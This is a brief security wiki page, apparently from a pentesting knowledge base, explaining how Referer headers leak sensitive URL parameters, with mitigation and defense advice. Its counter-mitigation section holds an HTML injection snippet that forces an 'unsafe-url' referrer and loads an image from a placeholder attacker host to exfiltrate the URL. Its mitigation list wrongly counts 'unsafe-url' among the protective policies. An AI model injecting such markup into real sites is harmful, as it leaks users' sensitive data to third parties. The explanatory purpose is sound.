# Referrer headers and policy
Referrer is the header used by browsers to indicate which was the previous page visited.
2022-05-01 16:32:23 +00:00
## Sensitive information leaked
If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.
2022-05-01 16:32:23 +00:00
## Mitigation
2021-11-30 16:46:07 +00:00
You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
2022-05-01 16:32:23 +00:00
## Counter-Mitigation
You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):
```markup
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
2022-05-01 16:32:23 +00:00
## Defense
Never put any sensitive data inside GET parameters or paths in the URL.
